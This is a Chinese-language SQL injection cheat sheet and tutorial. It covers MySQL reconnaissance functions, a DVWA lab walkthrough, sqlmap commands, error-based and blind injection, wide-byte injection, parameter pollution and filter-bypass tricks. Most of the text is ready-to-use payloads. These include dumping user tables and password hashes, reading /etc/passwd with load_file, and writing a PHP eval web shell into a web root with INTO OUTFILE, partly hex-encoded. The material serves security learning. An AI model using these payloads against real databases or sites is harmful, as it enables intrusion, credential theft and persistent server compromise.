0x01、 基本信息
1.1 基本术语
- 数据库: 数据库是一些关联表的集合。
- 数据表: 表是数据的矩阵。在一个数据库中的表看起来像一个简单的电子表格。
- 列: 一列(数据元素) 包含了相同类型的数据, 例如邮政编码的数据。
- 行:一行(=元组,或记录)是一组相关的数据,例如一条用户订阅的数据。
- 主键:主键是唯一的。一个数据表中只能包含一个主键。你可以使用主键来查询数据。
- 外键:外键用于关联两个表。
- 
1.2 常用命令
# 登录 mysql -h 127.0.0.1 -u root -p root
0x02、Mysql 命令
内置函数
# 查看当前数据库 select database(); # 查看用户相关 select user(); select current_user(); select system_user(); select session_user(); # 查看数据库版本 select version(); select @@version; select @@GLOBAL.VERSION; # 查看操作系统 select @@version_compile_os; # 查看主机名 select @@hostname; # 查看默认目录 select @@datadir;
查询数据库、表名、字段等信息
在每个
MySQL
实例中都有一个独立的information_schema
,用来存储MySQL
实例中所有其他数据库的基本信息。# 爆所有用户 select group_concat(user) from mysql.user; # 爆所有数据库 select group_concat(SCHEMA_NAME) from information_schema.schemata; # 爆当前数据库的表名 select group_concat(table_name) from information_schema.tables where table_schema=database(); # 表中有主码约束,非空约束等完整性约束条件的情况下 爆表名 select group_concat(table_name) from information_schema.table_constraints where table_schema=database(); # 爆字段名(表名是 users,加引号或十六进制编码) select group_concat(column_name) from information_schema.columns where table_name=\'users\'; select group_concat(column_name) from information_schema.columns where table_name=0x7573657273; # 爆字段内容 select first_name,password from users
读写文件操作
# 读取文件 select load_file(\'/etc/passwd\'); select load_file(0x2f6574632f706173737764);
- load_file 的默认目录是
@@datadir
。 - 文件需要有可读权限。
- 读文件的最大容量,用
@@max_allowed_packet
查看。
# 写入文件(需要有权限、知道绝对路径) select \'hello\' into outfile \'/tmp/test01\'; select \'<?php @eval($_POST[1]);?>\' into outfile \'/var/www/html/shell.php\'; select \'hello\' into dumpfile \'/tmp/test01\';
outfile 和 dumpfile
都不会覆盖文件,如果文件已存在,则报错。- 如果没有写权限,则报错。
into dumpfile
在写文件时会保持文件原生内容,常用来写二进制文件。into outfile
在每一行都会加上换行符。
查看读写权限
使用
mysql
的读写功能需要具有一定的权限。secure_file_priv
参数用来限制load_file,into outfile
等相关读写执行函数作用于哪个指定目录。# 查看方式 show global variables like \'%secure%\'; # 具体意义 当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出 当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下 当 secure_file_priv 的值为/,表示限制 mysqld 的导入|导出的目录为所在的整个磁盘 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制 当 mysql.version < 5.5.53 时,默认是 null。
过滤函数使用
PHP < 5.4
时;有一个magic_quotes_gpc
配置项,当magic_quotes is on
,所有的单引号、双引号、反斜杠和 null
都将自动使用反斜杠进行转义。在php5.4
之后的版本不能使用这个方法进行转义。mysql_real_escape_string()
,也是用来转义特殊字符的,但是这个扩展在php5.5
中已经弃用,并在php7
中删除。注释方法
符号 解释 # 注释一行 /**/ 行内注释、多行注释 — 注释一行 ;%00 空字节注释 ` 反引号(只能在句末使用) 字符串连接
select \'a\' \'d\' \'min\'; select concat(\'a\',\'d\',\'min\'); select concat_ws(\'_\',\'a\',\'d\',\'min\'); select group_concat(\'a\',\'d\',\'min\');
concat_ws
和concat
的区别:concat_ws
全称是concat with separator
,可以添加连字符concat
函数,如果有一个数值是null
,则返回值为null
,而concat_ws
不会这样
0x03、SQL Injection(DVWA)
3.1 Low Security Level
# 判断是否为注入 ?id=1\' or \'1\'=\'1 ?id=1\' or \'1\'=\'2 # 判断字段长度(2 正常,3 异常) ?id=1\' order by 2 -- ?id=1\' order by 3 -- # 确定回显点 ?id=1\' union select 111,222 -- # 用户名和数据库名称 ?id=1\' union select user(),database() -- -- output:admin@localhost、dvwa # 查看当前用户和 mysql 版本 ?id=1\' union select current_user(),version() -- -- output:First name: admin@%、 5.5.47-0ubuntu0.14.04.1 # 爆表名 ?id=1\' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database() -- -- output:guestbook,users # 爆列名(两种办法,加引号或者十六进制编码) ?id=1\' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273 -- ?id=1\' union select 1,group_concat(column_name) from information_schema.columns where table_name =\'users\' -- -- output:user_id,first_name,last_name,user,password,avatar,last_login,failed_login # 爆字段名 ?id=1\' union select group_concat(user_id,first_name,last_name),group_concat(password) from users -- ?id=1\' union select null,concat_ws(char(32,58,32),user,password) from users -- ?id=1\' union select user,password from users -- -- output:admin/5f4dcc3b5aa765d61d8327deb882cf99 # 读文件 ?id=1\' union select 1,load_file(\'//tmp//key\') -- # 写文件() ?id=1\' and \'1\'=\'2\' union select null,\'hello\' into outfile \'/tmp/test01\' -- ?id=999\' union select null,\'hello\' into outfile \'/tmp/test02\' -- ?id=999\' union select null,\'<?php @eval($_POST["gg"]); ?>\' into outfile \'/tmp/test03\' -- ?id=999\' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile \'//tmp//test04\' --
3.2 Medium Security Level
使用了
mysqli_real_escape_string
函数对特殊字符进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。此处是数字型注入,所以和特殊符号过滤关系不大,使用
hackbar
进行POST
即可。# 判断注入点 id=1 and 1=1 &Submit=Submit id=1 and 1=2 &Submit=Submit # 爆数据 id=1 union select user,password from users&Submit=Submit
3.3 High Secuirty Level
此处加了个
limit 1
来限制输出,但是可以直接注释掉,解法与Low Security Level
相同。3.4 Impossible Secuity Level
采用了
PDO
技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了”脱裤”,Anti-CSRFtoken
机制的加入了进一步提高了安全性。3.5 sqlmap 一把梭
利用 sqlmap 工具进行注入
# 爆所有数据库 sqlmap -r 1.txt --dbs -- output:dvwa、information_schema、mysql、performance_schema # 爆表名 sqlmap -r 1.txt -D dvwa --tables -- output:guestbook、users # 爆字段名 sqlmap -r 1.txt -D dvwa -T users --columns -- output:user、password、first_name、last_login、last_name…… # 爆字段内容 sqlmap -r 1.txt -D dvwa -T users -C user,password --dump -- output:得到账号和 MD5 hash 后的密码
0x04、SQL 注入类型
union 注入
参考
dvwa
的注入过程即可。报错注入
可以通过
floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection
等方法来进行注入。floor() 报错注入【首选】
无长度限制,首选!
# floor() 报错 1 select count(*),concat(0x7e,(select version()),0x7e,floor(rand(0)*2))a from information_schema.tables group by a; # floor() 报错 2,和上面的等价 select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)); # 数据库版本 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) # 当前用户 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) # 连接数据库 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) # 爆数据库 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) # 爆表 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) # 爆字段 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x696e736572745f666c6167 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) # 爆内容 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,字段名,0x23) FROM 表名 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
其中的
rand((0)*2)、floor()、group by
函数缺一不可.extractvalue() 报错注入
ExtractValue(xml_str,Xpath)
函数,使用Xpath
表示从XML
格式的字符串中提取一个值- 函数中任意一个参数为
NULL
,返回值都是NULL
- 构造了不符合规定的
Xpath
,MySQL
就会报语法错误,并显示XPath
的内容. - 有长度限制,最长32位
# 内置函数 爆当前用户、版本等等 and extractvalue(1,concat(0x7e,user(),0x7e)) # 爆数据库 and extractvalue(1,concat(0x7e,database(),0x7e)) # 爆表 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1 ),0x7e)) # 爆字段,表名可以改成十六进制 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=\'表名\'),0x7e)) # 爆内容 and extractvalue(1,concat(0x7e,(select group_concat(字段名) from 表名 ),0x7e))
updatexml() 报错
updatexml(xml,xpath,new_xml)
- 使用
nex_xml
根据xpath
来替换xml
字符串中特定的值 - 有长度限制,最长32位
# 爆版本、用户、等等内置函数均可 and updatexml(1,concat(0x7e,version(),0x7e),1) # 爆数据库 and updatexml(1,concat(0x7e,database(),0x7e),1) # 爆表 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1 ),0x7e),1) # 爆字段 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() limit 0,1 ),0x7e),1) # 爆内容 and updatexml(1,concat(0x7e,(select * from 表名 limit 0,1 ),0x7e),1)
name_const() 报错
- name_const(name,value)
- 传入的参数必须是常量,否则就会报错
- 测试时,只有
version()
好用,其他不能用
# 报错 select name_const(database(),1); # 正常 select name_const(version(),1); # 报错注入 select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
exp 报错
# 爆用户 select exp(~(select * from(select user())x)); # 爆表名 select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); # 爆列名 select exp(~(select*from(select column_name from information_schema.columns where table_name=\'users\' limit 0,1)x)); # 爆数据: select exp(~ (select*from(select concat_ws(\':\',id, username, password) from users limit 0,1)x));
十种 MySQL 报错注入
摘自《代码审计:企业级Web代码安全架构》一书
1.floor() select * from users where user_id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2.extractvalue() select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 3.updatexml() select * from users where user_id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 4.geometrycollection() select * from users where user_id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5.multipoint() select * from users where user_id=1 and multipoint((select * from(select * from(select user())a)b)); 6.polygon() select * from users where user_id=1 and polygon((select * from(select * from(select user())a)b)); 7.multipolygon() select * from users where user_id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.linestring() select * from users where user_id=1 and linestring((select * from(select * from(select user())a)b)); 9.multilinestring() select * from users where user_id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.exp() select * from users where user_id=1 and exp(~(select * from(select user())a));
BOOL盲注
盲注的时候一定注意,
MySQL4
之后大小写不敏感,可使用binary()
函数使大小写敏感。构造 bool 条件
# 正常情况 \'or bool# true\'and bool# # 不使用空格、注释 \'or(bool)=\'1 true\'and(bool)=\'1 # 不使用or、and、注释 \'^!(bool)=\'1 \'=(bool)=\' \'||(bool)=\'1 true\'%26%26(bool)=\'1 \'=if((bool),1,0)=\'0 # 不使用等号、空格、注释 \'or(bool)<>\'0 \'or((bool)in(1))or\'0 # 其他 or (case when (bool) then 1 else 0 end)
构造逻辑判断
常用的函数如下,可用
ASCII()、ORD()和CHAR()
函数做辅助。# 常用的函数 select left(user(),1)=\'r\'; select right(user(),1)=\'r\'; select substr(user(),1,1)=\'r\'; select substring(user(),1,1)=\'r\'; select mid(user(),1,1)=\'r\'; # 不使用逗号 user() regexp \'^[a-z]\' select user() like "root%"; select POSITION(\'root\' in user()); select mid(user() from 1 for 1)=\'r\'; select mid(user() from 1) like "ro%";
延时盲注
几个延时的语句
select sleep(3); select if((1=1),sleep(3),0); select (case when (1=1) then sleep(3) else 0 end); select BENCHMARK(100000,MD5(1)) or sleep(3);
Insert & Update注入
# insert 报错注入 mysql> insert into guestbook values(2,\'test2\',extractvalue(1,concat(0x7e,user(),0x7e))); ERROR 1105 (HY000): XPATH syntax error: \'~root@localhost~\' # update 报错注入 mysql> update guestbook set name=\'gp\' where comment_id=1 and extractvalue(1,concat(0x7e,user(),0x7e)); ERROR 1105 (HY000): XPATH syntax error: \'~root@localhost~\' # insert 延时盲注 mysql> insert into guestbook values(3,\'test2\',sleep(3)); Query OK, 1 row affected (3.03 sec)
order by 后的注入
此类型的注入,无法使用 PDO 的方式防范!
# 报错注入 mysql> select * from users order by 1 and extractvalue(1, concat(0x7e, (select @@version),0x7e)); ERROR 1105 (HY000): XPATH syntax error: \'~5.5.47-0ubuntu0.14.04.1~\' # 布尔注入 select * from users order by IF(0,1,(select 1 union select 2)); select * from users order by IF(1,1,(select 1 union select 2));
0x05、宽字节注入
基本信息
SQL 注入中有一种注入方式叫做宽字节注入,是因为国内常使用 GBK 编码造成的,可以绕过
addslashes
函数对特殊字符进行的转义。反斜杠的十六进制是
%5c
,单引号的十六进制是%27
,输入%bf%27
时,因为要转义单引号,所以就成了%bf%5c%27
,而在 GBK 编码中,%bf%5c
代表一个宽字符缞(cuī)
,%bf
可以替代为%81 - %fe
中间的任何字符。注:缞绖(cuī dié),在古代缞和绖是就是丧带和丧服,缞绖合在一起说就指整套丧服。
注入方法
宽字节注入和普通的注入很像,payload 如下:
# 普通的注入 ?id=1\' union select 1,2,3 # # 宽字节注入 ?id=1%bf%27 union select 1,2,3 # # 剩下的 payload 就和普通注入一模一样了
0x06、HTTP 参数污染
基本信息
先看一个例子,
# 一个 id,两个 value http://www.xxxx.com/search.php?id=1&id=2
不同的网站,对这个 URL 的理解不一样,百度认为
id=1
,雅虎认为id=2
,谷歌认为id=1,2
,如果服务器把两个value
都留了下来,那么就可能存在问题。Web服务器 参数获取函数 获取到的参数 PHP/Apache $_GET(“par”) Last JSP/Tomcat Request.getParameter(“par”) First Perl(CGI)/Apache Param(“par”) First Python/Apache getvalue(“par”) All (List) ASP/IIS Request.QueryString(“par”) All (comma-delimited string) 绕过 waf
# 正常的注入 show_user.aspx?id=5;select 1,2,3 from users where id=1-- # 使用 HPP 的注入,没有了 select xxx from xxx 特征 show_user.aspx?id=5;select 1&id=2&id=3 from users where id=1--
0x07、绕过技巧
# 大小写绕过 selEct * fRom users; # 重写绕过 seleselectct * frfromom users; # 拼写绕过 参考 0x02 的字符串连接 # 编码绕过,以 admin 为例 select CHAR(97, 100, 109, 105, 110); # 十六进制编码 SELECT FROM Users WHERE username = 0x61646D696E
0x08、奇淫巧技
利用 where 语句爆数据
无列名读数据
生成一个虚拟表:
select 1,2,3 union select * from guestbook
把生成的虚拟表,利用表名,来进行查询,反引号是对应的列。
select `2`,`3` from(select 1,2,3 union select * from guestbook)as a;
以上就是小编给大家讲解的